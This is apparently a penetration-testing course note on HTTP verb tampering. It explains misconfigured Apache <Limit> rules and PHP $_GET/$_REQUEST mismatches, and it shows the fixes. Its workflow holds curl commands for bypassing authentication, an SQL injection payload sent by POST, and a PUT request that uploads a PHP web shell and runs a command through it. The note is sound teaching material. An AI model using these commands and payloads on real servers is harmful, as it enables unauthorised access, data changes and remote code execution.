HTTP Verb Tampering exploits applications that restrict access controls to specific HTTP methods — like only enforcing auth on GET and POST. Swap the verb to something the app didn’t think to protect, and you often bypass the control entirely.
The HTTP Methods
| Verb | Purpose |
|---|---|
GET | Retrieve resource |
POST | Create / submit data |
PUT | Replace resource at specified path |
DELETE | Remove resource |
PATCH | Partial modification |
HEAD | Same as GET but response has no body |
OPTIONS | List allowed methods on this path |
TRACE | Diagnostic echo |
CONNECT | Tunnel through a proxy |
The attack surface comes from apps that only protect some of these.
Vulnerability Pattern 1 — Misconfigured Auth
Apache config that only requires auth on GET and POST:
<Limit GET POST>
Require valid-user
</Limit>This looks correct but has a gap. Any other verb — HEAD, PUT, DELETE, OPTIONS — is unauthenticated. If the backend treats HEAD as a lightweight GET (and most do), you can access protected pages without credentials.
Correct version:
<LimitExcept POST>
Require valid-user
</LimitExcept>LimitExcept restricts everything except POST (used for the login form itself). Everything else requires auth.
Vulnerability Pattern 2 — Inconsistent Parameter Handling
PHP example:
$pattern = "/^[A-Za-z\s]+$/";
if (preg_match($pattern, $_GET["code"])) {
$query = "SELECT * FROM ports WHERE port_code LIKE '%" . $_REQUEST["code"] . "%'";
// ...
}The filter checks $_GET["code"] but the query uses $_REQUEST["code"]. $_REQUEST reads from GET, POST, and cookies. Send your SQLi payload as a POST parameter — the filter sees nothing in GET (so it passes), the query uses the POST value (so it’s injected).
Bypass: switch from ?code=... to a POST body code=<payload>.
Exploitation Workflow
Step 1 — Enumerate Allowed Methods with OPTIONS
curl -i -X OPTIONS http://target/Response:
HTTP/1.1 200 OK
Allow: POST,OPTIONS,HEAD,GET
The Allow header tells you what the server accepts. Often you’ll see methods the app’s UI never uses.
Step 2 — Try Each Verb on the Protected Endpoint
Pick an endpoint that requires auth, then test:
curl -X HEAD http://target/admin/reset
curl -X POST http://target/admin/reset
curl -X PUT http://target/admin/reset
curl -X DELETE http://target/admin/reset
curl -X OPTIONS http://target/admin/resetWatch for responses that succeed instead of returning 401.
Try every verb — not just the obvious ones
In one exam,
HEADwas blocked butOPTIONSsucceeded. Don’t assumeHEADis the magic answer; try all of them.
Step 3 — Use the Result
For bypassing basic auth — If HEAD returns 200 on a protected action endpoint, the action likely executed. This works best with idempotent operations (reset, delete, logout).
For bypassing security filters — If GET-based validation blocks your payload, resubmit the same payload as POST (or vice versa). The payload delivery changes; the vulnerability behind the filter doesn’t.
Real-World Scenarios
File Manager Reset
An app has a “Reset” button that requires basic auth via <Limit GET POST>. Testing:
curl -i -X OPTIONS http://target/
# Allow: POST,OPTIONS,HEAD,GET
curl -X HEAD http://target/reset.php
# 200 OK — reset executed without authSQLi Filter Bypass via Method Change
An app blocks SQLi payloads on GET parameters. Switch to POST:
POST /search.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
code=admin' OR 1=1-- -If the filter only inspects $_GET, the payload runs unimpeded through $_REQUEST.
PUT to Overwrite Files
If PUT is allowed and unauthenticated:
curl -X PUT -d '<?php system($_GET["c"]); ?>' http://target/shell.php
curl http://target/shell.php?c=idInstant RCE on badly configured web servers.
When It Works, When It Doesn’t
Works when:
- Access control is applied at the web server level (Apache
<Limit>, nginxlimit_except) and misses some verbs - Filters check one specific superglobal (
$_GET) but the app reads another ($_REQUEST) - The developer thought GET and POST were the only methods worth worrying about
Doesn’t work when:
- Framework handles auth centrally (Rails, Django, Laravel) — all methods go through the same middleware
- The app properly uses
LimitExceptor equivalent - Input validation is on the parsed value, not the parameter source
Quick Detection
Good first-pass check on any auth’d endpoint:
# baseline
curl -i http://target/protected -u user:pass
# then without creds
curl -i -X GET http://target/protected
curl -i -X HEAD http://target/protected
curl -i -X OPTIONS http://target/protected
curl -i -X POST http://target/protectedIf any returns 200 instead of 401, investigate that verb further.
Related
- 14 · Web Attacks — module index
- 00 · Cheatsheet & Checklist
- IDOR
- XXE Injection
- Prevention
